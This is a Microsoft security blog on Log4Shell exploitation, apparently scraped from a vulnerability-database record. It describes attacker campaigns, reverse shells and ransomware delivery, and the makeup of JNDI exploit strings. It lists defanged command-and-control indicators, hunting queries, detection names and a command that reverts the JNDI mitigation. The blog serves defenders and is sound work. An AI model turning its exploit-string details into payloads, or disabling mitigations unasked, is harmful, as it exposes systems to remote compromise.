"bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1472", "CVE-2021-26084", "CVE-2021-4034", "CVE-2022-41040"], "modified": "2023-06-14T16:00:00", "id": "MMPC:1AFF4881941FA1030862F773DC84A4A8", "href": "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-01-19T21:30:14", "description": "**_January 10, 2022 recap \u2013_**_ The Log4j vulnerabilities represent a complex and high-risk situation for companies across the globe. This open-source component is widely used across many suppliers\u2019 software and services. By nature of Log4j being a component, the vulnerabilities affect not only applications that use vulnerable libraries, but also any services that use these applications, so customers may not readily know how widespread the issue is in their environment. Customers are encouraged to utilize scripts and scanning tools to assess their risk and impact. Microsoft has observed attackers using many of the same inventory techniques to locate targets. Sophisticated adversaries (like nation-state actors) and commodity attackers alike have been observed taking advantage of these vulnerabilities. There is high potential for the expanded use of the vulnerabilities._\n\n_In January, we started seeing attackers taking advantage of the vulnerabilities in internet-facing systems, eventually deploying ransomware._ _We have observed many existing attackers adding exploits of these vulnerabilities in their existing malware kits and tactics, from coin miners to hands-on-keyboard attacks. Organizations may not realize their environments may already be compromised. Microsoft recommends customers to do additional review of devices where vulnerable installations are discovered. At this juncture, customers should assume broad availability of exploit code and scanning capabilities to be a real and present danger to their environments. Due to the many software and services that are impacted and given the pace of updates, this is expected to have a long tail for remediation, requiring ongoing, sustainable vigilance._\n\n_**January 19, 2022 update** - We added new information about an unrelated vulnerability we discovered while investigating Log4j attacks._\n\nThe remote code execution (RCE) vulnerabilities in Apache Log4j 2 referred to as \u201cLog4Shell\u201d ([CVE-2021-44228](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228>), [CVE-2021-45046](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046>), [CVE-2021-44832](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44832>)) has presented a new attack vector and gained broad attention due to its severity and potential for widespread exploitation. The majority of attacks we have observed so far have been mainly mass-scanning, coin mining, establishing remote shells, and red-team activity, but it\u2019s highly likely that attackers will continue adding exploits for these vulnerabilities to their toolkits.\n\nWith nation-state actors testing and implementing the exploit and known ransomware-associated access brokers using it, we highly recommend applying security patches and updating affected products and services as soon as possible. Refer to the [Microsoft Security Response Center blog](<https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/>) for technical information about the vulnerabilities and mitigation recommendations.\n\nMeanwhile, defenders need to be diligent in detecting, hunting for, and investigating related threats. This blog reports our observations and analysis of attacks that take advantage of the Log4j 2 vulnerabilities. It also provides our recommendations for using Microsoft security solutions to (1) find and remediate vulnerable services and systems and (2) detect, investigate, and respond to attacks.\n\nThis blog covers the following topics:\n\n 1. **Attack vectors and observed activity**\n 2. **Finding and remediating vulnerable apps and systems**\n * Threat and vulnerability management\n * Discovering affected components, software, and devices via a unified Log4j dashboard\n * Applying mitigation directly in the Microsoft 365 Defender portal\n * Microsoft 365 Defender advanced hunting\n * Microsoft Defender for Cloud\n * Microsoft Defender for servers\n * Microsoft Defender for Containers\n * Microsoft Sentinel queries\n * RiskIQ EASM and Threat Intelligence\n 3. **Detecting and responding to exploitation attempts and other related attacker activity**\n * Microsoft 365 Defender\n * Microsoft Defender Antivirus\n * Microsoft Defender for Endpoint\n * Microsoft Defender for Cloud Apps\n * Microsoft Defender for Office 365\n * Microsoft 365 Defender advanced hunting\n * Microsoft Defender for Cloud\n * Microsoft Defender for IoT\n * Microsoft Sentinel\n * Microsoft Sentinel queries\n * Azure Firewall Premium\n * Azure Web Application Firewall (WAF)\n 4. **Indicators of compromise (IoCs)**\n\n## Attack vectors and observed activity\n\nMicrosoft\u2019s unified threat intelligence team, comprising the Microsoft Threat Intelligence Center (MSTIC), Microsoft 365 Defender Threat Intelligence Team, RiskIQ, and the Microsoft Detection and Response Team (DART), among others, have been tracking threats taking advantage of the remote code execution (RCE) vulnerabilities in [Apache Log4j 2](<https://logging.apache.org/log4j/2.x/>) referred to as \u201cLog4Shell\u201d.\n\nThe bulk of attacks that Microsoft has observed at this time have been related to mass scanning by attackers attempting to thumbprint vulnerable systems, as well as scanning by security companies and researchers. An example pattern of attack would appear in a web request log with strings like the following:\n\n\n\nAn attacker performs an HTTP request against a target system, which generates a log using Log4j 2 that leverages JNDI to perform a request to the attacker-controlled site. The vulnerability then causes the exploited process to reach out to the site and execute the payload. In many observed attacks, the attacker-owned parameter is a DNS logging system, intended to log a request to the site to fingerprint the vulnerable systems.\n\nThe specially crafted string that enables exploitation of the vulnerabilities can be identified through several components. The string contains \u201cjndi\u201d, which refers to the Java Naming and Directory Interface. Following this, the protocol, such as \u201cldap\u201d, \u201cldaps\u201d, \u201crmi\u201d, \u201cdns\u201d, \u201ciiop\u201d, or \u201chttp\u201d, precedes the attacker domain.\n\nAs security teams work to detect the exploitation, attackers have added obfuscation to these requests to evade detections based on request patterns. We\u2019ve seen things like running a lower or upper command within the exploitation string and even more complicated obfuscation attempts, such as the following, that are all trying to bypass string-matching detections:\n\n\n\nThe vast majority of observed activity has been scanning, but exploitation and post-exploitation activities have also been observed. Based on the nature of the vulnerabilities, once the attacker has full access and control of an application, they can perform a myriad of objectives. Microsoft has observed activities including installing coin miners, using Cobalt Strike to enable credential theft and lateral movement, and exfiltrating data from compromised systems.\n\n### Exploitation continues on non-Microsoft hosted Minecraft servers\n\nMinecraft customers running their own servers are encouraged to deploy the latest Minecraft server update as soon as possible to protect their users. More information can be found here: <https://aka.ms/mclog>.\n\nMicrosoft can confirm public reports of the Khonsari ransomware family being delivered as payload post-exploitation, as discussed by [Bitdefender](<https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild>). In Microsoft Defender Antivirus data we have observed a small number of cases of this being launched from compromised Minecraft clients connected to modified Minecraft servers running a vulnerable version of Log4j 2 via the use of a third-party Minecraft mods loader.\n\nIn these cases, an adversary sends a malicious in-game message to a vulnerable Minecraft server, which exploits CVE-2021-44228 to retrieve and execute an attacker-hosted payload on both the server and on connected vulnerable clients. We observed exploitation leading to a malicious Java class file that is the Khonsari ransomware, which is then executed in the context of _javaw.exe_ to ransom the device.\n\nWhile it\u2019s uncommon for Minecraft to be installed in enterprise networks, we have also observed PowerShell-based reverse shells being dropped to Minecraft client systems via the same malicious message technique, giving an actor full access to a compromised system, which they then use to run Mimikatz to steal credentials. These techniques are typically associated with enterprise compromises with the intent of lateral movement. Microsoft has not observed any follow-on activity from this campaign at this time, indicating that the attacker may be gathering access for later use.\n\nDue to the shifts in the threat landscape, Microsoft reiterates the guidance for Minecraft customers running their own servers to deploy the latest Minecraft server update and for players to exercise caution by only connecting to trusted Minecraft servers.\n\n### Nation-state activity\n\nMSTIC has also observed the CVE-2021-44228 vulnerability being used by multiple tracked nation-state activity groups originating from China, Iran, North Korea, and Turkey. This activity ranges from experimentation during development, integration of the vulnerabilities to in-the-wild payload deployment, and exploitation against targets to achieve the actor\u2019s objectives.\n\nFor example, MSTIC has observed PHOSPHORUS, an Iranian actor known to deploy ransomware, acquiring and making modifications of the Log4j exploit. We assess that PHOSPHORUS has operationalized these modifications.\n\nIn addition, HAFNIUM, a threat actor group operating out of China, has been observed utilizing the vulnerability to attack virtualization infrastructure to extend their typical targeting. In these attacks, HAFNIUM-associated systems were observed using a DNS service typically associated with testing activity to fingerprint systems.\n\n### Access brokers associated with ransomware\n\nMSTIC and the Microsoft 365 Defender team have confirmed that multiple tracked activity groups acting as access brokers have begun using the vulnerability to gain initial access to target networks. These access brokers then sell access to these networks to ransomware-as-a-service affiliates. We have observed these groups attempting exploitation on both Linux and Windows systems, which may lead to an increase in human-operated ransomware impact on both of these operating system platforms.\n\n### Mass scanning activity continues\n\nThe vast majority of traffic observed by Microsoft remains mass scanners by both attackers and security researchers. Microsoft has observed rapid uptake of the vulnerability into existing botnets like Mirai, existing campaigns previously targeting vulnerable Elasticsearch systems to deploy cryptocurrency miners, and activity deploying the Tsunami backdoor to Linux systems. Many of these campaigns are running concurrent scanning and exploitation activities for both Windows and Linux systems, using Base64 commands included in the JDNI:ldap:// request to launch bash commands on Linux and PowerShell on Windows.\n\nMicrosoft has also continued to observe malicious activity performing data leakage via the vulnerability without dropping a payload. This attack scenario could be especially impactful against network devices that have SSL termination, where the actor could leak secrets and data.\n\n### Additional RAT payloads\n\nWe\u2019ve observed the dropping of additional remote access toolkits and reverse shells via exploitation of CVE-2021-44228, which actors then use for hands-on-keyboard attacks. In addition to the Cobalt Strike and PowerShell reverse shells seen in earlier reports, we\u2019ve also seen Meterpreter, Bladabindi, and HabitsRAT. Follow-on activities from these shells have not been observed at this time, but these tools have the ability to steal passwords and move laterally.\n\nThis activity is split between a percentage of small-scale campaigns that may be more targeted or related to testing, and the addition of CVE-2021-44428 to existing campaigns that were exploiting vulnerabilities to drop remote access tools. In the HabitsRAT case, the campaign was seen overlapping with infrastructure used in prior campaigns.\n\n### Webtoos\n\nThe Webtoos malware has DDoS capabilities and persistence mechanisms that could allow an attacker to perform additional activities. As reported by [RiskIQ](<https://community.riskiq.com/article/67ba1386>), Microsoft has seen Webtoos being deployed via the vulnerability. Attackers\u2019 use of this malware or intent is not known at this time, but the campaign and infrastructure have been in use and have been targeting both Linux and Windows systems prior to this vulnerability.\n\n### A note on testing services and assumed benign activity\n\nWhile services such as _interact.sh_, _canarytokens.org_, _burpsuite_, and _dnslog.cn_ may be used by IT organizations to profile their own threat footprints, Microsoft encourages including these services in your hunting queries and validating observations of these in environments to ensure they are intentional and legitimate activity.\n\n### Exploitation in internet-facing systems leads to ransomware\n\nAs early as January 4, attackers started exploiting the CVE-2021-44228 vulnerability in internet-facing systems running VMware Horizon. Our investigation shows that successful intrusions in these campaigns led to the deployment of the NightSky ransomware.\n\nThese attacks are performed by a China-based ransomware operator that we\u2019re tracking as DEV-0401. DEV-0401 has previously deployed multiple ransomware families including LockFile, AtomSilo, and Rook, and has similarly exploited Internet-facing systems running Confluence (CVE-2021-26084) and on-premises Exchange servers (CVE-2021-34473).\n\nBased on our analysis, the attackers are using command and control (CnC) servers that spoof legitimate domains. These include service[.]trendmrcio[.]com, api[.]rogerscorp[.]org, api[.]sophosantivirus[.]ga, apicon[.]nvidialab[.]us, w2zmii7kjb81pfj0ped16kg8szyvmk.burpcollaborator[.]net, and 139[.]180[.]217[.]203.\n\n### Attackers propagating Log4j attacks via previously undisclosed vulnerability\n\nDuring our sustained monitoring of threats taking advantage of the Log4j 2 vulnerabilities, we observed activity related to attacks being propagated via a previously undisclosed vulnerability in the SolarWinds Serv-U software. We discovered that the vulnerability, now tracked as [CVE-2021-35247](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35247>), is an input validation vulnerability that could allow attackers to build a query given some input and send that query over the network without sanitation.\n\nWe reported our discovery to SolarWinds, and we\u2019d like to thank their teams for immediately investigating and working to remediate the vulnerability. We strongly recommend affected customers to apply security updates released by referring to the SolarWinds advisory here: <https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35247>. \n\nMicrosoft customers can use threat and vulnerability management in Microsoft Defender for Endpoint to identify and remediate devices that have this vulnerability. In addition, Microsoft Defender Antivirus and Microsoft Defender for Endpoint detect malicious behavior related to the observed activity.\n\n## Finding and remediating vulnerable apps and systems\n\n### Threat and vulnerability management\n\n[Threat and vulnerability management](<https://www.microsoft.com/security/business/threat-protection/threat-vulnerability-management>) capabilities in Microsoft Defender for Endpoint monitor an organization\u2019s overall security posture and equip customers with real-time insights into organizational risk through continuous vulnerability discovery, intelligent prioritization, and the ability to seamlessly remediate vulnerabilities.\n\n#### Discovering affected components, software, and devices via a unified Log4j dashboard\n\nThreat and vulnerability management automatically and seamlessly identifies devices affected by the Log4j vulnerabilities and the associated risk in the environment and significantly reduces time-to-mitigate.\n\nThe wide use of Log4j across many supplier\u2019s products challenge defender teams to mitigate and address the risks posed by the vulnerabilities ([CVE-2021-44228](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228>) or [CVE-2021-45046](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046>)). The threat and vulnerability management capabilities within Microsoft 365 Defender can help identify vulnerable installations. On December 15, we began rolling out updates to provide a consolidated view of the organizational exposure to the Log4j 2 vulnerabilities\u2014on the device, software, and vulnerable component level\u2014through a range of automated, complementing capabilities. These capabilities are supported on Windows 10, Windows 11, and Windows Server 2008, 2012, and 2016. They are also supported on Linux, but they require updating the Microsoft Defender for Endpoint Linux client to version 101.52.57 (30.121092.15257.0) or later. The updates include the following:\n\n * Discovery of vulnerable Log4j library components (paths) on devices\n * Discovery of vulnerable installed applications that contain the Log4j library on devices\n * A [dedicated Log4j dashboard](<https://security.microsoft.com/vulnerabilities/vulnerability/CVE-2021-44228/overview>) that provides a consolidated view of various findings across vulnerable devices, vulnerable software, and vulnerable files\n * Introduction of a new schema in advanced hunting, **DeviceTvmSoftwareEvidenceBeta**, which surfaces file-level findings from the disk and provides the ability to correlate them with additional context in advanced hunting:\n \n \n DeviceTvmSoftwareEvidenceBeta\n | mv-expand DiskPaths\n | where DiskPaths contains \"log4j\"\n | project DeviceId, SoftwareName, SoftwareVendor, SoftwareVersion, DiskPaths\n\nTo complement this new table, the existing **DeviceTvmSoftwareVulnerabilities** table in advanced hunting can be used to identify vulnerabilities in installed software on devices:\n \n \n DeviceTvmSoftwareVulnerabilities \n | where CveId in (\"CVE-2021-44228\", \"CVE-2021-45046\")\n\nThese new capabilities integrate with the existing threat and vulnerability management experience and are gradually rolling out. As of December 27, 2021, discovery is based on installed application CPEs that are known to be vulnerable to Log4j RCE, as well as the presence of vulnerable Log4j Java Archive (JAR) files. Cases where Log4j is packaged into an Uber-JAR or shaded are currently not discoverable, but support for discovery of these instances and other packaging methods is in development. Support for macOS is also in progress and will roll out soon.\n\n\n\n_Figure 1. Threat and Vulnerability recommendation __\u201cAttention required: Devices found with vulnerable Apache Log4j versions\u201d_\n\nOn the Microsoft 365 Defender portal, go to **Vulnerability management** > **Dashboard** > **Threat awareness**, then click **View vulnerability details** to see the consolidated view of organizational exposure to the Log4j 2 vulnerability (for example, CVE-2021-44228 dashboard, as shown in the following screenshots) on the device, software, and vulnerable component level.\n\n\n\n_Figure 2. Threat and vulnerability management dedicated CVE-2021-44228 dashboard_\n\n\n\n_Figure 3. Threat and vulnerability management finds exposed paths_\n\n\n\n_Figure 4. Threat and vulnerability management finds exposed devices based on vulnerable software and vulnerable files detected on disk_\n\nNote: Scan results may take some time to reach full coverage, and the number of discovered devices may be low at first but will grow as the scan reaches more devices. A regularly updated list of vulnerable products can be viewed in the Microsoft 365 Defender portal with matching recommendations. We will continue to review and update this list as new information becomes available.\n\nThrough [device discovery](<https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/unmanaged-device-protection-capabilities-are-now-generally/ba-p/2463796>), unmanaged devices with products and services affected by the vulnerabilities are also surfaced so they can be onboarded and secured.\n\n\n\n_Figure 5. Finding vulnerable applications and devices via software inventory_\n\n#### Applying mitigation directly in the Microsoft 365 Defender portal\n\nWe have released two new threat and vulnerability management capabilities that can significantly simplify the process of turning off JNDI lookup, a workaround that can prevent the exploitation of the Log4j vulnerabilities on most devices, using an environment variable called LOG4J_FORMAT_MSG_NO_LOOKUPS. These new capabilities provide security teams with the following:\n\n 1. View the mitigation status for each affected device. This can help prioritize mitigation and/or patching of devices based on their mitigation status.\n\nTo use this feature, open the [Exposed devices tab](<https://security.microsoft.com/vulnerabilities/vulnerability/CVE-2021-44228/exposedDevices>) in the dedicated CVE-2021-44228 dashboard and review the **Mitigation status** column. Note that it may take a few hours for the updated mitigation status of a device to be reflected.\n\n\n\n_Figure 6. Viewing each device\u2019s mitigation status_\n\n 2. Apply the mitigation (that is, turn off JNDI lookup) on devices directly from the portal. This feature is currently available for Windows devices only.\n\nThe mitigation will be applied directly via the Microsoft Defender for Endpoint client. To view the mitigation options, click on the **Mitigation options** button in the [Log4j dashboard](<https://security.microsoft.com/vulnerabilities/vulnerability/CVE-2021-44228/overview>):\n\n\n\nYou can choose to apply the mitigation to all exposed devices or select specific devices for which you would like to apply it. To complete the process and apply the mitigation on devices, click **Create mitigation action**.\n\n\n\n_Figure 7. Creating mitigation actions for exposed devices._\n\nIn cases where the mitigation needs to be reverted, follow these steps:\n\n 1. Open an elevated PowerShell window\n 2. Run the following command:\n \n \n [Environment]::SetEnvironmentVariable(\"LOG4J_FORMAT_MSG_NO_LOOKUPS\", $null, [EnvironmentVariableTarget]::Machine)\n\nThe change will take effect after the device restarts.\n\n### Microsoft 365 Defender advanced hunting\n\nAdvance hunting can also surface affected software. This query looks for possibly vulnerable applications using the affected Log4j component. Triage the results to determine applications and programs that may need to be patched and updated.\n \n \n DeviceTvmSoftwareInventory\n | where SoftwareName contains \"log4j\"\n | project DeviceName, SoftwareName, SoftwareVersion\n\n\n\n_Figure 8. Finding vulnerable software via advanced hunting_\n\n### Microsoft Defender for Cloud\n\n#### Microsoft Defender for servers\n\nOrganizations using Microsoft Defender for Cloud can use [Inventory tools](<https://docs.microsoft.com/azure/defender-for-cloud/asset-inventory>) to begin investigations before there\u2019s a CVE number. With Inventory tools, there are two ways to determine exposure across hybrid and multi-cloud resources:\n\n * Vulnerability assessment findings \u2013 Organizations who have enabled any of the vulnerability assessment tools (whether it's Microsoft Defender for Endpoint's [threat and vulnerability management](<https://docs.microsoft.com/azure/defender-for-cloud/deploy-vulnerability-assessment-tvm>) module, the [built-in Qualys scanner](<https://docs.microsoft.com/azure/defender-for-cloud/deploy-vulnerability-assessment-vm>), or a [bring your own license solution](<https://docs.microsoft.com/azure/defender-for-cloud/deploy-vulnerability-assessment-byol-vm>)), they can search by CVE identifier:\n\n\n\n_Figure 9. Searching vulnerability assessment findings by CVE identifier_\n\n * Software inventory - With the combined [integration with Microsoft Defender for Endpoint](<https://docs.microsoft.com/azure/defender-for-cloud/integration-defender-for-endpoint>) and [Microsoft Defender for servers](<https://docs.microsoft.com/azure/defender-for-cloud/defender-for-servers-introduction>), organizations can search for resources by installed applications and discover resources running the vulnerable software:\n\n\n\n_Figure 10. Searching software inventory by installed applications_\n\nNote that this doesn\u2019t replace a search of your codebase. It\u2019s possible that software with integrated Log4j libraries won\u2019t appear in this list, but this is helpful in the initial triage of investigations related to this incident. For more information about how Microsoft Defender for Cloud finds machines affected by CVE-2021-44228, read this [tech community post](<https://techcommunity.microsoft.com/t5/microsoft-defender-for-cloud/how-defender-for-cloud-finds-machines-affected-by-log4j/ba-p/3037271>).\n\n#### Microsoft Defender for Containers\n\nMicrosoft Defender for Containers is capable of discovering images affected by the vulnerabilities recently discovered in Log4j 2: [CVE-2021-44228](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228>), [CVE-2021-45046](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046>), and [CVE-2021-45105](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105>). Images are automatically scanned for vulnerabilities in three different use cases: when pushed to an Azure container registry, when pulled from an Azure container registry, and when container images are running on a Kubernetes cluster. Additional information on supported scan triggers and Kubernetes clusters can be found [here](<https://docs.microsoft.com/azure/defender-for-cloud/defender-for-containers-introduction?tabs=defender-for-container-arch-aks>). \n\nLog4j binaries are discovered whether they are deployed via a package manager, copied to the image as stand-alone binaries, or included within a JAR Archive (up to one level of nesting). \n\nWe will continue to follow up on any additional developments and will update our detection capabilities if any additional vulnerabilities are reported.\n\n**Finding affected images**\n\nTo find vulnerable images across registries using the Azure portal, navigate to the **Microsoft Defender for Cloud** service under Azure Portal. Open the **Container Registry images should have vulnerability findings resolved** recommendation and search findings for the relevant CVEs. \n\n\n\n_Figure 11. Finding images with the CVE-2021-45046 vulnerability_ \n\n**Find vulnerable running images on Azure portal [preview] **\n\nTo view only vulnerable images that are currently running on a Kubernetes cluster using the Azure portal, navigate to the **Microsoft Defender for Cloud** service under Azure Portal. Open the **Vulnerabilities in running container images should be remediated (powered by Qualys)** recommendation and search findings for the relevant CVEs: \n\n\n\n_Figure 12. Finding running images with the CVE-2021-45046 vulnerability _\n\nNote: This recommendation requires clusters to run Microsoft Defender security profile to provide visibility on running images.\n\n**Search Azure Resource Graph data ******\n\nAzure Resource Graph (ARG) provides instant access to resource information across cloud environments with robust filtering, grouping, and sorting capabilities. It's a quick and efficient way to query information across Azure subscriptions programmatically or from within the Azure portal. ARG provides another way to query resource data for resources found to be affected by the Log4j vulnerability.\n\nThe following query finds resources affected by the Log4j vulnerability across subscriptions. Use the additional data field across all returned results to obtain details on vulnerable resources: \n \n \n securityresources \n | where type =~ \"microsoft.security/assessments/subassessments\"\n | extend assessmentKey=extract(@\"(?i)providers/Microsoft.Security/assessments/([^/]*)\", 1, id), subAssessmentId=tostring(properties.id), parentResourceId= extract(\"(.+)/providers/Microsoft.Security\", 1, id)\n | extend Props = parse_json(properties)\n | extend additionalData = Props.additionalData\n | extend cves = additionalData.cve\n | where isnotempty(cves) and array_length(cves) > 0\n | mv-expand cves\n | where tostring(cves) has \"CVE-2021-44228\" or tostring(cves) has \"CVE-2021-45046\" or tostring(cves) has \"CVE-2021-45105\" \n\n### Microsoft Sentinel queries\n\nMicrosoft Sentinel customers can use the following detection query to look for devices that have applications with the vulnerability:\n\n * [Vulnerable machines related to Log4j CVE-2021-44228](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityNestedRecommendation/Log4jVulnerableMachines.yaml>)\n\nThis query uses the Microsoft Defender for Cloud nested recommendations data to find machines vulnerable to Log4j CVE-2021-44228.\n\nMicrosoft Sentinel also provides a CVE-2021-44228 Log4Shell Research Lab Environment for testing the vulnerability: <https://github.com/OTRF/Microsoft-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-44228-Log4Shell>\n\n### RiskIQ EASM and Threat Intelligence\n\nRiskIQ has published a few threat intelligence articles on this CVE, with mitigation guidance and IOCs. The latest one with links to previous articles can be found [here](<https://community.riskiq.com/article/67ba1386>). Both Community users and enterprise customers can search within the threat intelligence portal for data about potentially vulnerable components exposed to the Internet. For example, it's possible to [surface all observed instances of Apache](<https://community.riskiq.com/search/components?category=Server&query=Apache>) or [Java](<https://community.riskiq.com/research?query=java>), including specific versions. Leverage this method of exploration to aid in understanding the larger Internet exposure, while also filtering down to what may impact you. \n\nFor a more automated method, registered users can view their attack surface to understand tailored findings associated with their organization. Note, you must be registered with a corporate email and the automated attack surface will be limited. Digital Footprint customers can immediately understand what may be vulnerable and act swiftly and resolutely using the [Attack Surface Intelligence Dashboard](<https://app.riskiq.net/a/main/index#/dashboards/379/RiskIQ%20Attack%20Intelligence%20Dashboard>) Log4J Insights tab. \n\n## Detecting and responding to exploitation attempts and other related attacker activity\n\n### Microsoft 365 Defender\n\nMicrosoft 365 Defender coordinates multiple security solutions that detect components of observed attacks taking advantage of this vulnerability, from exploitation attempts to remote code execution and post-exploitation activity.\n\n\n\n_Figure 13. Microsoft 365 Defender solutions protect against related threats_\n\nCustomers can click **Need help?** in the Microsoft 365 Defender portal to open up a search widget. Customers can key in \u201cLog4j\u201d to search for in-portal resource, check if their network is affected, and work on corresponding actionable items to mitigate them.\n\n#### Microsoft Defender Antivirus\n\nTurn on cloud-delivered protection in Microsoft Defender Antivirus to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block the majority of new and unknown variants. Microsoft Defender Antivirus detects components and behaviors related to this threat as the following detection names:\n\nOn Windows:\n\n * [Trojan:Win32/Capfetox.AA](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Capfetox.AA&threatId=-2147159827>)- detects attempted exploitation on the attacker machine\n * [HackTool:Win32/Capfetox.A!dha](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=HackTool:Win32/Capfetox.A!dha&threatId=-2147159807>) - detects attempted exploitation on the attacker machine\n * [VirTool:Win64/CobaltSrike.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:Win64/CobaltStrike.A&threatId=-2147200161>), [TrojanDropper:PowerShell/Cobacis.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDropper:PowerShell/Cobacis.A&threatId=-2147200375>) - detects Cobalt Strike Beacon loaders\n * [TrojanDownloader:Win32/CoinMiner](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Win32/CoinMiner&threatId=-2147257370>) - detects post-exploitation coin miner\n * [Trojan:Win32/WebToos.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/WebToos.A&threatId=-2147278986>) - detects post-exploitation PowerShell\n * [Ransom:MSIL/Khonsari.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:MSIL/Khonsari.A&threatId=-2147159485>) - detects a strain of the Khonsari ransomware family observed being distributed post-exploitation\n * [Trojan:Win64/DisguisedXMRigMiner](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win64/DisguisedXMRigMiner&threatId=-2147169351>) - detects post-exploitation cryptocurrency miner\n * [TrojanDownloader:Java/Agent.S](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Java/Agent.S&threatId=-2147159796>) - detects suspicious class files used in post-exploitation\n * [TrojanDownloader:PowerShell/NitSky.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:PowerShell/NitSky.A&threatId=-2147157401>) - detects attempts to download CobaltStrike Beacon payload\n\nOn Linux:\n\n * [Trojan:Linux/SuspectJavaExploit.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/SuspectJavaExploit.A&threatId=-2147159829>), [Trojan:Linux/SuspectJavaExploit.B](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/SuspectJavaExploit.B&threatId=-2147159828>), [Trojan:Linux/SuspectJavaExploit.C](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/SuspectJavaExploit.C&threatId=-2147159808>) - blocks Java processes downloading and executing payload through output redirection\n * [Trojan:Linux/BashMiner.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/BashMiner.A&threatId=-2147159832>) - detects post-exploitation cryptocurrency miner\n * [TrojanDownloader:Linux/CoinMiner](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Linux/CoinMiner&threatId=-2147241315>) - detects post-exploitation cryptocurrency miner\n * [TrojanDownloader:Linux/Tusnami](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Linux/Tusnami.A&threatId=-2147159794>) - detects post-exploitation Backdoor Tsunami downloader\n * [Backdoor:Linux/Tusnami.C](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Linux/Tusnami.C!MTB&threatId=-2147178887>) - detects post-exploitation Tsunami backdoor\n * [Backdoor:Linux/Setag.C](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Linux/Setag.C&threatId=-2147277056>) - detects post-exploitation Gates backdoor\n * [Exploit:Linux/CVE-2021-44228.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Exploit:Linux/CVE-2021-44228.A&threatId=-2147159804>), [Exploit:Linux/CVE-2021-44228.B](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Exploit:Linux/CVE-2021-44228.B&threatId=-2147159803>) - detects exploitation\n * [TrojanDownloader:Linux/Capfetox.A](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Linux/Capfetox.A&threatId=-2147159639>), [TrojanDownloader:Linux/Capfetox.B](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Linux/Capfetox.B&threatId=-2147159640>)\n * [TrojanDownloader:Linux/ShAgnt!MSR](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Linux/ShAgnt!MSR&threatId=-2147159432>), [TrojanDownloader:Linux/ShAgnt.A!MTB](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Linux/ShAgnt.A!MTB&threatId=-2147159607>)\n * [Trojan:Linux/Kinsing.L](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/Kinsing.L&threatId=-2147189973>) - detects post-exploitation cryptocurrency Kinsing miner\n * [Trojan:Linux/Mirai.TS!MTB](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Linux/Mirai.TS!MTB&threatId=-2147159629>) - detects post-exploitation Mirai malware capable of performing DDoS\n * 